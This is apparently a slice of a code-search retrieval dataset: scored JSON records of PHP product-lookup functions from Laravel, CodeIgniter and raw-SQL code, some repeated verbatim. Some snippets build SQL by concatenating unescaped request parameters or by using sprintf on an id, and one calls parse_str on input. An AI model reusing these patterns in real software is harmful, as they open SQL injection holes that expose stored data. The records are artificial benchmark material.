$products_list[$sub_cat_id[0]]['name']= $categories->name;\n $products_list[$sub_cat_id[0]]['values'][$cat_id]= $cat_name; \n }\n $storename= EcomShops::where('slug', '=', $shopid)->first();\n $business = BusinessInfo::where('company_name', '=', $storename->company)->first();\n $siteimages= SiteHeaderImage::where('site_slug', $shopid)->where('status',\"1\")->get();\n $sitelogo= SiteLogo::where('shop_id', $shopid)->first();\n $cmspages = CmsSite::where('slug', '=', $shopid)->Where('status', '=', '1')->project( array('page_title') )->orderBy('sort_order', 'asc')->get();\n\n return view('site.index', compact('sitelogo','banner','siteimages', 'products', 'cmspages', 'storename', 'business', \n 'products_counts', 'products_list', 'filtered_cat', 'keyword'))->with('shopid', $shopid); \n }\n else {\n $builder = Products::query();\n if(!empty($size)){\n $builder->where('product_data.725','=',$size);\n }\n \n $builder->where('_id','=',$id);\n $product = $builder->orderBy('_id')->first();\n \n $attrAssoc = $this->fetchAttributesAssoc();\n $productTabs = $this->createProductTabs($attrAssoc, $product);\n \n // Product Reviews Section \n $avg_rating = ProductReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->avg('rating');\n $rating_1 = ProductReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',1)->count('rating');\n $rating_2 = ProductReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',2)->count('rating');\n $rating_3 = ProductReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',3)->count('rating');\n $rating_4 = ProductReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',4)->count('rating');\n $rating_5 = ProductReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',5)->count('rating');\n $all_reviews= ProductReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->paginate(25);\n // End Product Reviews Section\n // Seller Reviews Section\n $seller_avg_rating = SellerReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->avg('rating');\n $seller_rating_1 = SellerReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',1)->count('rating');\n $seller_rating_2 = SellerReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',2)->count('rating');\n $seller_rating_3 = SellerReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',3)->count('rating');\n $seller_rating_4 = SellerReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',4)->count('rating');\n $seller_rating_5 = SellerReviews::where('product_id','=',$id)->where('shopid','=',$shopid)->where('rating','=',5)->count('rating');\n // End Seller Reviews Section\n $cookie_val = $_COOKIE['gdoox_shopping_cart'];\n if(Auth::user()){\n $userid = Auth::id();\n $total = ShoppingCart::where('userid','=', $userid)->orwhere('cart_id','=', $cookie_val)->where('status','=','0')->count('product_id');\n $wishlist_item = WishList::Where('userid','=',$userid)->where('product_id','=',$id)->where('shopid','=',$shopid)->first();\n $review = ProductReviews::where('userid','=',$userid)->where('product_id','=',$id)->where('shopid','=',$shopid)->first();\n $seller_reviews = SellerReviews::where('userid','=',$userid)->where('product_id','=',$id)->where('shopid','=',$shopid)->first();\n }\n else {\n $total = ShoppingCart::where('cart_id','=', $cookie_val)->where('status','=','0')->count('product_id'); \n }\n \n session(['cart_items' => $total]);\n $business = \"\";\n $storename = EcomShops::where('slug', '=', $shopid)->first();\n if(!empty($storename)){\n $business = BusinessInfo::where('company_name', '=', $storename->company)->first();\n }\n\n $siteimages = SiteHeaderImage::where('site_slug',$shopid)->where('status',\"1\")->get();\n $sitelogo = SiteLogo::where('shop_id', $shopid)->first();\n //CMS page links\n $cmspages = CmsSite::where('slug', '=', $shopid)->Where('status', '=', '1')->project( array('page_title') )->orderBy('sort_order', 'asc')->get();\n $certificationlogo = CertificationLogos::where('site_slug', $shopid)->where('status',\"1\")->get();\n\n if(Auth::user()){ \n $createdby = User::where('_id',Auth::user()->id)->first();\n $subuser = SubUser::where('parent_id', $createdby->parent_id)->first();\n\n if(!empty($subuser->permission)){\n foreach($subuser->permission as $key=>$val){\n $site[] = $key;\n $permission[] = $val;\n }\n }\n $subid = isset($subuser->sub_user_id)?$subuser->sub_user_id:\"\";\n $sitesubuser = $this->GetUserName($subid);\n if(empty($site)){\n $site = array();\n }\n }\n $owner = \"\";\n if(!empty($storename)){\n $owner = $this->GetUserName($storename->user_id);\n }\n \n \n $site_menu = FieldMaster::where('title','=','personal_site_menu')->first();\n\n $multi_items = array();\n if(!empty($product->multi_item_products)){\n foreach($product->multi_item_products as $multi_product){\n $multi_items[] = Products::where('_id', $multi_product)->first();\n }\n }\n \n // Sites of Logged In User.\n \n if(Auth::user()) {\n $ecommerce_sites = $this->ecommerceSites($shopid);\n $eco_system_sites = $this->ecosystemSites($shopid);\n foreach($ecommerce_sites as $sites){\n $user_sites[] = $sites->slug;\n }\n\n $network_site = $this->networkSites();\n }\n \n $prodstore = array();\n $prods = Products::where('original_id','=',$product->original_id)->get();\n \n if(!empty($product->old_slug)){\n $prodstore[$product->old_slug] = $product->old_slug;\n }\n \n foreach($prods as $prod){\n $prodstore[$prod->shopid] = $prod->shopid;\n }\n \n $ecosites = array();\n $type = array('Internal','External');\n $eco_sys_sites = BusinessPartner::whereIn('type',$type)->Where('inviter_id','=', Auth::user()->id)->where('status','=','Accepted')->get();\n if(!empty($eco_sys_sites)){\n foreach($eco_sys_sites as $eco_sites){\n $ecosites[$eco_sites->company_site_slug] = $eco_sites->company_site_slug;\n }\n }\n \n $productvariation = ProductVariationAttributes::where('status','=','1')->get();\n foreach($productvariation as $variation){\n $variationids[$variation->attr_id] = $variation->desc;\n }\n\n if(!empty($selected)){\n if($selected!='banner'){\n parse_str($selected);\n $selected = $qvAttr;\n }\n }\n\n list($productVariations,$selectedVarAttr) = $this->getProductAttributes($product, $id, $selected);\n \n if(isset($cookie_val)){\n return view('site.show', compact('sitesubuser', 'subuser', 'owner', 'site_menu', 'site', 'certificationlogo',\n 'sitelogo', 'productTabs', 'product', 'storename', 'business',\n 'wishlist_item', 'shopid', 'cmspages', 'review', 'avg_rating',\n 'rating_1', 'rating_2', 'rating_3', 'rating_4', 'rating_5', 'all_reviews',\n 'seller_rating_1', 'seller_rating_2', 'seller_rating_3', 'seller_rating_4', 'seller_rating_5', \n 'seller_all_reviews', 'seller_reviews', 'seller_avg_rating', 'siteimages',\n 'product_promo', 'multi_items','ecommerce_sites','eco_system_sites','prodstore',\n 'ecosites','productVariations','size','variationids', 'selectedVarAttr','selectedAttr',\n 'banner','selected','user_sites','network_site','prod_bid_data'))->with(json_encode(Session::get('cart_items')));\n } \n }\n }\n catch(\\Exception $e){\n $errors = $this->errorMessage($e);\n return Redirect::route('exceptions.create')->with('message','Oops! You are here because Something went Wrong. Please report the Error')->withErrors($errors);\n }\n }", "title": "" }, { "docid": "588108c4c6e50bcf6b2ac3d6d72998b6", "score": "0.5737927", "text": "public function product_by_search() {\n $CI = & get_instance();\n $CI->load->model('Suppliers');\n $suppliers_list = $CI->Suppliers->product_search_item($supplier_id);\n $i = 0;\n foreach ($suppliers_list as $k => $v) {\n $i++;\n $suppliers_list[$k]['sl'] = $i;\n }\n $data = array(\n 'title' => 'Suppliers Search Items',\n 'suppliers_list' => $suppliers_list\n );\n $supplierList = $CI->parser->parse('supplier/supplier', $data, true);\n return $supplierList;\n }", "title": "" }, { "docid": "41d98f19fb2de50f6a1b04b40fa7c09a", "score": "0.5734072", "text": "function getProductById($id)\n{\n $data = include_product_data();\n foreach ($data['phones'] as $item) {\n if ($item['id'] == $id) {\n return $data;\n }\n }\n return null;\n}", "title": "" }, { "docid": "6e47b3eff68f58a38f09cf5eb2253523", "score": "0.572857", "text": "function product_get_by_id($id){\n\t$query = sprintf(\"SELECT *, product.id, product.identifier, product.created, generator.description as gen_desc, collection.description as col_desc, generator.name as gen_name, collection.name as col_name FROM product LEFT JOIN generator ON product.generator_id = generator.id LEFT JOIN collection ON generator.collection_id = collection.collection_id WHERE product.id='%s'\",\n\t\t\t\t\t$id);\n\t$result = db_query($query, true);\n\n\tif(count($result) != 0){\n\t return $result[0]; //should only be one, as product_id is unique\n\t}else{\n\t return false;\n\t}\n}", "title": "" }, { "docid": "a876a870e3476a23b7fee0265104b03c", "score": "0.57245976", "text": "public function getSingleProduct($proid){\n\t\t \t$proid = mysqli_real_escape_string($this->db->link,$proid);\n\t\t \t$query = \"SELECT p.*, c.catName, b.brandName\n\t\t\t\t\t\t FROM tbl_product as p, tbl_category as c, tbl_brand as b\n\t\t\t\t\t\t WHERE p.catId = c.catId AND p.brandId = b.brandId AND p.productId = '$proid' \";\n\t\t \t$result = $this->db->select($query);\n\t\t \treturn $result;\n\t\t }", "title": "" }, { "docid": "86ec48ff0b67c56084c5628907543780", "score": "0.57205373", "text": "public function getProduct()\n {\n return $this->product;\n }", "title": "" }, { "docid": "86ec48ff0b67c56084c5628907543780", "score": "0.57205373", "text": "public function getProduct()\n {\n return $this->product;\n }", "title": "" }, { "docid": "86ec48ff0b67c56084c5628907543780", "score": "0.57205373", "text": "public function getProduct()\n {\n return $this->product;\n }", "title": "" }, { "docid": "86ec48ff0b67c56084c5628907543780", "score": "0.57205373", "text": "public function getProduct()\n {\n return $this->product;\n }", "title": "" }, { "docid": "86ec48ff0b67c56084c5628907543780", "score": "0.57205373", "text": "public function getProduct()\n {\n return $this->product;\n }", "title": "" }, { "docid": "86ec48ff0b67c56084c5628907543780", "score": "0.57205373", "text": "public function getProduct()\n {\n return $this->product;\n }", "title": "" }, { "docid": "9fc862db230a349a2bdbe1ecf18bd8f0", "score": "0.5714646", "text": "public function findProductByURL($url)\n {\n return $this->model->where('url', $url)->where('is_available', 1)->where('is_published', 1)->first();\n }", "title": "" }, { "docid": "7c5bf58fb78e34b7c7d7bfc039684951", "score": "0.57118917", "text": "public function getModel(): Product;", "title": "" }, { "docid": "be5d9316885e21f3a87ae4799e5e6b82", "score": "0.57107586", "text": "function fetchProdutoById(ProdutoRequest $request);", "title": "" }, { "docid": "9b94e9716a947902165c269db145d01a", "score": "0.5706741", "text": "public function find($id) {\n $opts = array(\n 'http'=>array(\n 'method'=>\"GET\",\n 'header'=>\"Accept: application/json\"\n )\n );\n $context = stream_context_create($opts);\n $file = file_get_contents('YOUR-API-URL', false, $context);\n $product = json_decode($file, JSON_PRETTY_PRINT);\n\n return $product;\n\n }", "title": "" }, { "docid": "c2776a5aeeb42672a1fe68de7930d868", "score": "0.5702413", "text": "public function getProductById($productId)\r\n {\r\n //query\r\n $result = $this->find('first', array('conditions' => array('Product.id' => $productId)));\r\n return $result;\r\n }", "title": "" }, { "docid": "4fdd9a08d609015ce3f5f57602c48a9e", "score": "0.5699491", "text": "public function getProduct(Request $request)\n {\n $product = Product::find($request->input('id'));\n return $product;\n }", "title": "" }, { "docid": "c59a50ae0fbec2f7e104ce889249ae16", "score": "0.5697646", "text": "public function getOne(){\n $sql= \"SELECT * FROM productos WHERE id ={$this->getId()};\";\n $producto= $this->db->query($sql);\n \n return $producto->fetch_object();\n\n }", "title": "" }, { "docid": "4313e4624efb943c0659dc89633f7a43", "score": "0.56921345", "text": "static public function getProduct($prod = null){\r\n\t\t\tself::init();\r\n\t\t\tself::buildEndpointUrl(PRODUCT_GET, $prod, true);\r\n\t\t\treturn self::cExec();\r\n\t\t}", "title": "" }, { "docid": "d1a880c5c9a862488b2f9fd8c0b921b7", "score": "0.5691883", "text": "public function get($product_id)\n {\n return Product::findOrFail($product_id);\n }", "title": "" }, { "docid": "2d47fa2cff4aacaef08a3215c7a7d547", "score": "0.56889737", "text": "public function getProduct(array $params)\n\t{\n\t\treturn $this->product->where($params)->first();\n\t}", "title": "" }, { "docid": "b6a6173a7feb1149f574f2e49fa6f991", "score": "0.567344", "text": "public function find(IProduto $produto);", "title": "" }, { "docid": "f888778bbc28041606c116e0482ec8f2", "score": "0.5673206", "text": "public function index()\n {\n // Convert to query\n $products = Product::query();\n\n // Check if request has 'search' text\n $products = $products->when(request()->has('search'), function ($q) {\n $q->where('name', 'like', '%' . request('search') . '%');\n });\n\n // Check if request has 'search' text\n $products = $products->when(request()->has('type'), function ($q) {\n $q->ofType(request('type'));\n });\n\n // Check if request has 'search' text\n $products = $products->when(request()->has('limit'), function ($q) {\n $q->limit(request('limit'));\n });\n\n // Relation & Order\n $products = $products->with('history')->orderBy('name');\n\n return ProductResource::collection($products->get());\n }", "title": "" }, { "docid": "8350457df4f7b8f4504967d4a7f70779", "score": "0.5648952", "text": "public function getProduct()\n\t{\n\t\t$col = $this->request->get['col'];\n\t\t$val = $this->request->get['val'];\n\t\t$operator = $this->request->get['operator'];\n\t\tif($operator == \"\")\n\t\t\t$operator = \"equal\";\n\t\t\n\t\t$where = \"\";\n\t\tswitch($operator)\n\t\t{\n\t\t\tcase \"equal\":\n\t\t\t\t$where = \" AND \".$col.\" = '\".$val.\"'\";\n\t\t\t\tbreak;\n\t\t\tcase \"like\":\n\t\t\t\t$where = \" AND \".$col.\" like '%\".$val.\"%'\";\n\t\t\t\tbreak;\n\t\t\tcase \"other\":\n\t\t\t\t$where = \" AND \".$col.\" <> '\".$val.\"'\";\n\t\t\t\tbreak;\n\t\t\tcase \"in\":\n\t\t\t\t$where = \" AND \".$col.\" in (\".$val.\")\";\n\t\t\t\tbreak;\t\n\t\t}\n\t\t\n\t\t\t\n\t\t\n\t\t$datas = $this->model_product_product->getList($where);\n\t\tforeach($datas as $key => $item)\n\t\t{\n\t\t\t$product = $this->model_product_product->getItem($item['id']);\n\t\t\t$datas[$key]['productname'] = $product['productname'];\n\t\t\t$imagepreview = HelperImage::resizePNG($product['imagepath'],180,180);\n\t\t\t$datas[$key]['imagepreview'] = $imagepreview;\n\t\t\t$datas[$key]['manufacturername'] = $product['manufacturername'];\n\t\t\t$country = $this->model_core_country->getCountry($product['countryid']);\n\t\t\t$datas[$key]['countryname'] = $country['countryname'];\n\t\t\t$datas[$key]['materialname'] = $product['materialname'];\n\t\t\t$datas[$key]['price'] = $product['price'];\n\t\t}\n\t\t\t\n\t\t\n\t\t$this->data['output'] = json_encode(array('products' => $datas));\n\t\t$this->id=\"product\";\n\t\t$this->template=\"common/output.tpl\";\n\t\t$this->render();\n\t}", "title": "" }, { "docid": "87b245ee1c38bb1feda54fc133e4f94a", "score": "0.5624239", "text": "public function products();", "title": "" }, { "docid": "5d72cc3a88c23f51c800a87db75d971b", "score": "0.5608806", "text": "public function getProduct(Request $request)\n {\n $id = $request->id;\n $data = Neev::organisation()->products->where('id', $id)->first();\n return ['status' => true, 'data' => $data];\n }", "title": "" } ]
a6d28bcfc1f5f0e5997ec3c010217bbe
Update the specified resource in storage.
[ { "docid": "68dd48011e50ee2f02d00e1ca39dccda", "score": "0.0", "text": "public function update(EditRequest $request)\n {\n $this->user->fill($request->all());\n $this->user->save();\n $this->user->syncRelations($request->all());\n $this->user->uploadImage($request->file('url_photo'));\n\n Flash::info('Usuario '.$this->user->name.' Actualizado correctamente');\n\n return redirect()->route(self::$prefixRoute.'index');\n }", "title": "" } ]
[ { "docid": "f545a797c88e6fde5b59e76b35b0e4dd", "score": "0.74549645", "text": "public function update($id, $resource);", "title": "" }, { "docid": "e3f351fcd5ab99bae755f96203d9604b", "score": "0.7443162", "text": "public function updated(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "3ec7b0acf0381980ced680019309568a", "score": "0.6744378", "text": "public function update() {\n\n // Does the Resource object have an ID?\n if ( is_null( $this->id ) ) trigger_error ( \"Resource::update(): Attempt to update an Resource object that does not have its ID property set.\", E_USER_ERROR );\n \n // Update the Resource\n $conn = new PDO( DB_DSN, DB_USERNAME, DB_PASSWORD );\n $sql = \"UPDATE resource SET url=:url, themeId=:themeId, contact=:contact WHERE id = :id\";\n $st = $conn->prepare ( $sql );\n $st->bindValue( \":url\", $this->url, PDO::PARAM_STR );\n $st->bindValue( \":themeId\", $this->themeId, PDO::PARAM_INT );\n $st->bindValue( \":contact\", $this->contact, PDO::PARAM_STR );\n $st->bindValue( \":id\", $this->id, PDO::PARAM_INT );\n $st->execute();\n $conn = null;\n }", "title": "" }, { "docid": "7eab299ac25f58662eb17a6207bbdeef", "score": "0.67144877", "text": "private function updateResource($resource): void\n\t{\n\t\timagedestroy($this->resource);\n\t\t$this->resource = $resource;\n\n\t\timagealphablending($this->resource, false);\n\t\timagesavealpha($this->resource, true);\n\n\t\t$this->updateSizeInfo();\n\t}", "title": "" }, { "docid": "337a73fafa9c60c109d0e0fb18b16428", "score": "0.6513111", "text": "public function update(Storages $request, $id)\n {\n $entry = Storage::findOrFail($id);\n\n $entry->fill($request->all());\n\n $entry->save();\n\n return redirect('/storages/'.$id.'/edit');\n }", "title": "" }, { "docid": "2a532e323886cdeee4fdc191ad2a127e", "score": "0.64721876", "text": "public function update(ResourceRequest $request, Resource $resource)\n {\n //\n\t\t\t\t$resource->name= $request->name;\n\t\t\t\t$resource->url= $request->url;\n\n\t\t\t\t\treturn response()->json([\n\t\t\t\t\t\t'updated'=>$resource->save()\n\t\t\t\t\t]);\n }", "title": "" }, { "docid": "b4a169f9a3d901a01f32f1071fdf2091", "score": "0.6462599", "text": "public function update(Request $request, Storage $storage)\n {\n \n $storage->name = $request->input('name');\n $storage->codigo = $request->input('codigo');\n $storage->active = $request->input('active');\n $storage->save();\n\n return redirect('/storages')->with('message','update');\n }", "title": "" }, { "docid": "dde275288f11a04dfd12a4da06e0b6b6", "score": "0.6404118", "text": "public function put($resource, $arOptions);", "title": "" }, { "docid": "d14f3b67a32851152c09abd22392f6ca", "score": "0.6295373", "text": "public function update(OurResourceRequest $request,OurResource $ourResource)\n {\n try {\n $file = $request->file('images');\n $inputs = $request->all();\n\n if($file) {\n $inputs['images'] = $this->uploadImages($request->file('images'));\n } else {\n $inputs['images'] = $ourResource->images;\n $inputs['images']['thumb'] = $inputs['imagesThumb'];\n\n }\n\n unset($inputs['imagesThumb']);\n $ourResource->update();\n\n return redirect(route('ourresource.index'));\n } catch (\\Exception $exception) {\n Log::error($exception);\n }\n }", "title": "" }, { "docid": "3f88464873b841b9046a2a5852122431", "score": "0.6265043", "text": "public function update(Request $request, LibResource $resource)\n {\n $this->abort_if_not_permited();\n $data = $this->validate($request, [\n 'res_title' => 'required',\n 'res_subject' => 'required',\n 'res_author' => 'required',\n 'res_department_id' => 'required',\n 'res_type_id' => 'required'\n ]);\n\n if($request->res_type_id != $resource->res_type_id) {\n $oldFolder = LibResourceType::find($resource->res_type_id)->res_type;\n $newFolder = LibResourceType::find($request->res_type_id)->res_type;\n\n Storage::disk('library')->move($oldFolder.'/'.$resource->res_files, \n $newFolder.'/'.$resource->res_files);\n\n Storage::disk('library')->move($oldFolder.'/' .'cover/'.$resource->res_cover, \n $newFolder.'/' .'cover/'.$resource->res_cover);\n }\n \n $resource->update($data);\n return $resource;\n }", "title": "" }, { "docid": "37aa707a5d1cf3d2b73c5d32bea86169", "score": "0.62426656", "text": "public function update($resource, array $data)\n {\n $this->validate($data, $resource);\n return $resource->update($data);\n }", "title": "" }, { "docid": "96f9e6fdcf8c5b9b43c1f9a96134f2bf", "score": "0.6203198", "text": "public function updateStream(string $path, $resource, array $config = []): void;", "title": "" }, { "docid": "0b9df105daf9d4dddca1b265bf150fd3", "score": "0.6093648", "text": "public function updateResource($res, Request $request) {\n $rules = array(\n 'details' => 'required|string|max:1000',\n 'image' => 'image|max:4096',\n 'link' => 'string|nullable'\n );\n\n $error = Validator::make($request->all(), $rules)->validate();\n\n $resource = SiteImage::findOrFail($res);\n\n \n\n if(!$request->hasFile('image')) {\n \n // IMAGE NOT CHANGED\n \n $data = array(\n 'image_details' => $request->details\n );\n\n } else {\n \n // IMAGE CHANGED\n \n // UPLOAD IMAGE\n $image = $request->file('image');\n $new_name = rand() . '.' . $image->getClientOriginalExtension(); // Name of new Image\n $destination_path = \"/images/static\";\n\n\n \n $resize_image = Image::make($image->getRealPath());\n\n //return response()->json(['errors' => [$destination_path . '/' . $new_name]]);\n $resize_image->save(public_path($destination_path . '/' . $new_name));\n\n\n $old_image_path = $resource->image_ref;\n\n /*if(File::exists(public_path() . $old_image_path)) {\n File::delete(public_path() . $old_image_path);\n }*/\n\n $data = array(\n 'image_ref' => '/images/static/' . $new_name,\n 'image_details' => $request->details\n ); \n\n \n }\n\n if($request->link) $data['link'] = $request->link;\n $resource->update($data);\n\n return View('backoffice.pages.edit_resource', ['resource' => $resource]);\n \n }", "title": "" }, { "docid": "0f413897f49a592f566edc4499283b2c", "score": "0.603257", "text": "public function storageUpdateAction(){\n\t\t$this->setDialogAction();\n\t\t$storage_id = $this->getParam('storage_id');\n\t\t$filename = $this->getParam('filename');\n\t\t$ext = $this->getParam('ext');\n\t\t$type = $this->getParam('type');\n\t\t\n\t\t$storage = $this->fileSources->get($storage_id);\n\t\t$sources = $this->fileSources->getList();\n\t\t$this->view->sources = $sources;\n\t\t$this->view->storage = $storage;\n\t\tif(!empty($ext)) $filename = $filename.\".\".$ext;\n\t\t$this->view->filename = $filename;\n\t\t$this->view->type = $type;\n\t}", "title": "" }, { "docid": "3c13e0ec8368dde371325db1b8b227e5", "score": "0.5949601", "text": "public function update(Request $request, $id)\n {\n //\n // si exxiste la array de recursos\n if ( $request->session()->exists('resources')){\n \n // obtenemos los valores del array de recursos\n $resources = $request->session()->get('resources');\n \n if(isset($resources[$id])){\n \n $resource = $resources[$id];\n \n // Elimina la posicion del array, y se reajusta el array\n ;\n $nameInput=$request->input('name');\n $priceInput=$request->input('price');\n \n // si no has editado nada, vuelve de nuevo\n if($nameInput==$resource['name'] && $priceInput==$resource['price']){\n // return redirect('store')->with('message', 'You have not applied any changes to the product!');\n return back()->withInput();\n }\n \n $resource['id']=$id;\n $resource['name']=$nameInput;\n $resource['price']=$priceInput;\n \n $resources[$id]=$resource; \n \n // meter ese array en tu sesion \n $request->session()->put('resources', $resources);\n \n return redirect('store')->with('message', 'The product has been edited successfully!'); // es lo mismo que resource ¿ que hace el redirect)\n }\n }\n return back()->withInput();\n }", "title": "" }, { "docid": "47f5a0f9058e305083b50269e28fc738", "score": "0.59487104", "text": "public function update(Request $request, $resource)\n {\n try { \n $resource->update($request->all());\n watch(__('update card type'), \"fa fa-card\");\n return responseJson(1, __('done'), $resource);\n } catch (\\Exception $e) {\n return responseJson(0, $e->getMessage());\n }\n }", "title": "" }, { "docid": "776da8c96f4aa34eec52175bc485cecd", "score": "0.59405017", "text": "public function update($id, UpdateResourceRequest $request)\n {\n $resource = $this->service->find($id);\n if(empty($resource))\n {\n Flash::error('Resource não encontrado');\n return redirect(route('resources.index'));\n }\n\n $resource = $this->service->update($request->all(), $id);\n Flash::success('Resource atualizado com sucesso.');\n return redirect(route('resources.index'));\n }", "title": "" }, { "docid": "1967dfef2308a54917abee94f5fb2fe9", "score": "0.5922663", "text": "public function updateStream($path, $resource, Config $config) {\n // TODO: Implement updateStream() method.\n }", "title": "" }, { "docid": "d3213bec1042b484f9e7c8a52c4ef16a", "score": "0.58999914", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "b5bcf23d212ba01a7fca11f3cf632111", "score": "0.5896195", "text": "public function update(ResourceRequest $request, $id)\n {\n try {\n $resource = $this->resource->find($id);\n $resource->update($request->all());\n\n flash('Recurso atualizado com sucesso!')->success();\n return redirect()->route('resources.index');\n\n } catch (\\Exception$e) {\n $message = env('APP_DEBUG') ? $e->getMessage() : 'Erro ao processar atualização...';\n\n flash($message)->error();\n return redirect()->back();\n }\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5890722", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "1b6228f28970b633590b97318fca00a2", "score": "0.5875679", "text": "function resource_update($id, $options) {\n $options['id'] = $id;\n return $this->_post_request('resource_update', $options);\n }", "title": "" }, { "docid": "f2c455344d9c8883e1e991918cdb4313", "score": "0.586725", "text": "public function update(Request $request, $id)\n {\n request()->validate([\n 'title' => ['required', 'string'],\n 'description' => ['required', 'string'],\n 'image' => 'required',\n ]);\n\n $imageName = time().'.'.request()->image->getClientOriginalExtension();\n request()->image->move(public_path('images'), $imageName);\n\n resource::find($id)->update([\n 'title' => $request->title,\n 'description' => $request->description,\n 'image' => $imageName\n ]);\n return back()->with('success','You have successfully update the resource.');\n }", "title": "" }, { "docid": "4316a587c5ca6fb49a7ce41a46a24ed8", "score": "0.5850647", "text": "public function update( $resourcePath, Array $body=[]) {\n return $this->callResource( 'put', $resourcePath, ['body'=>$body]);\n }", "title": "" }, { "docid": "59c6239c448624b3108c46073757b01e", "score": "0.58493763", "text": "public function update(StoreProductRequest $request, $id)\n {\n DB::beginTransaction();\n try {\n $product = Product::find($id);\n if ($product) {\n $data = $request->safe()->except(['image']);\n\n $imageUrl = $this->storeFile($request, $product->id);\n if (!empty($imageUrl))\n $data['image_url'] = $imageUrl;\n\n $product->update($data);\n DB::commit();\n\n return new ProductResource($product);\n }\n return response()->json(['data' => 'Product not found.'], 404);\n } catch (Exception $e) {\n DB::rollback();\n\n return response()->json($e->getMessage());\n }\n }", "title": "" }, { "docid": "500de3817809ac92f35634ac93419bfe", "score": "0.58382034", "text": "public static function update($resource, $request)\n {\n static::fillAttributes($resource, $request);\n static::fillBoolean($resource, $request);\n\n static::updateBelongsTo($resource, $request);\n\n $resource->save();\n\n static::updateBelongsToMany($resource, $request);\n\n return $resource;\n }", "title": "" }, { "docid": "e8f642c1357eaca6a51e747722c28e9a", "score": "0.58338976", "text": "protected function save($resource) {\n if (isset($resource['public_id'])) {\n $this->redis->set($resource['public_id'], $resource);\n }\n }", "title": "" }, { "docid": "2cf80d6b1d66cb9fd56bf8c18c026e8f", "score": "0.5824176", "text": "public function update(Request $request, $id)\n {\n $path = Product::find($id)->filename;\n $filename = $request->file('image');\n\n if(!($filename === null)) {\n $path = $request->file('image')->store('id/'.$request->input('user_id').'/products/images', 's3');\n }\n\n Product::find($id)->update([\n 'name' => $request->input('name'),\n 'description' => $request->input('description'),\n 'price' => $request->input('price'),\n 'amount' => $request->input('amount'),\n 'filename' => basename($path),\n 'url' => Storage::disk('s3')->url($path),\n ]);\n return redirect()->route('products.index');\n\n\n\n\n\n\n\n\n\n\n }", "title": "" }, { "docid": "07c7bceecf971da3d703020e3b86857c", "score": "0.57805496", "text": "public function update ($data) {}", "title": "" }, { "docid": "07c7bceecf971da3d703020e3b86857c", "score": "0.57805496", "text": "public function update ($data) {}", "title": "" }, { "docid": "3b6c3aaa23b4fb918ebc093545c13dc6", "score": "0.57525045", "text": "public function update($entity);", "title": "" }, { "docid": "3b6c3aaa23b4fb918ebc093545c13dc6", "score": "0.57525045", "text": "public function update($entity);", "title": "" }, { "docid": "01a05836a30a03daa266194238513ef3", "score": "0.5742325", "text": "public function update(Request $request, $id){\n $slider = Slider::find($id);\n \n if($request->hasFile('image')){\n $slider->image = $request->image->store('sliders',['disk' => 'public']); \n }\n \n $slider->link = $request->link;\n $slider->save();\n\n return new JsonResponse([\n 'status' => 'success',\n 'message' => 'Slider updated successfully'\n ]);\n }", "title": "" }, { "docid": "bb8e19272e0561c14ce70c3a793ec51a", "score": "0.57381696", "text": "public function update(Request $request, $id)\n {\n\n $data = Product::where('id', $id)->first();\n // 判斷是否上傳圖片\n if ($request->hasFile('img')) {\n\n // 刪除照片\n // 用一個變數代替要刪除的圖片名\n $old_image = $data->img;\n //public_path()指從public這個路徑開始\n File::delete(public_path() . '/storage/' . $old_image);\n // 儲存新照片\n $file_name = $request->file('img')->store('', 'public');\n // 將新照片的路徑存起來 回存\n $data->img = $file_name;\n }\n\n $data->kinds = $request->kinds;\n $data->sort = $request->sort;\n $data->save();\n return redirect('home/product');\n\n // 這筆request 含有 method 與token 這兩筆欄位資料\n // except 例外處理 將括號內的欄位去除\n // $tt = $request->except('_token','_method');\n // where(指定) id =$id 這筆 進行 更新內容($tt)\n // Product::where('id',$id)->update($tt);\n // $data = Product::where('id', $id)->first();\n // // 先做賦值得動作 在做儲存\n // $data->img = $request->img;\n // $data->kinds = $request->kinds;\n // $data->save();\n // return redirect('home/product');\n }", "title": "" }, { "docid": "30790b56c47f44ba2fcdcad444e0ebf5", "score": "0.57262063", "text": "public function update(Stock $request, $id)\n {\n $stock_cosmetic = StockCosmetic::find($id);\n\n $stock_cosmetic->product = $request->input('product');\n $stock_cosmetic->color = $request->input('color');\n $stock_cosmetic->brand = $request->input('brand');\n $stock_cosmetic->price = $request->input('price');\n $stock_cosmetic->save();\n // image\n if ($request->hasFile('image') && $request->file('image')->isValid()) {\n $path = $request->image->storePubliclyAs('/stock', $stock_cosmetic->id . '.jpg', ['disk' => 's3']);\n $stock_cosmetic->image = $path;\n $stock_cosmetic->save();\n }\n\n return redirect('stock_cosmetics/list_of_stock/{user_id}/stock_cosmetics');\n }", "title": "" }, { "docid": "68611877d8742448025a8506ebac8d13", "score": "0.5723295", "text": "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "title": "" }, { "docid": "7ed06fd4c3033e66778142b41027c241", "score": "0.57009596", "text": "public function editResource($resource, array $data)\r\n\t{\r\n\t\t$resourceType = __NAMESPACE__.'\\\\Driver\\\\'.$this->identify($resource);\r\n\t\t$cr = new $resourceType($resource);\r\n\t\t$cr->save($data);\r\n\t}", "title": "" }, { "docid": "98ed855cdf6798411cf49ba631a664ec", "score": "0.56952107", "text": "public function setResource($resource)\n {\n }", "title": "" }, { "docid": "1d541312c2378377a67b8bc814d61521", "score": "0.5689462", "text": "public function update(Request $request, $id)\n {\n $update = Project::find($id); \n\n Storage::disk('public')->delete('img/'. $update->src);\n $update->nom = $request->nom; \n $update->description = $request->description; \n $update->tag = $request->tags; \n \n $update->save();\n $request->file('src')->storePublicly('img','public');\n \n return redirect()->back(); \n }", "title": "" 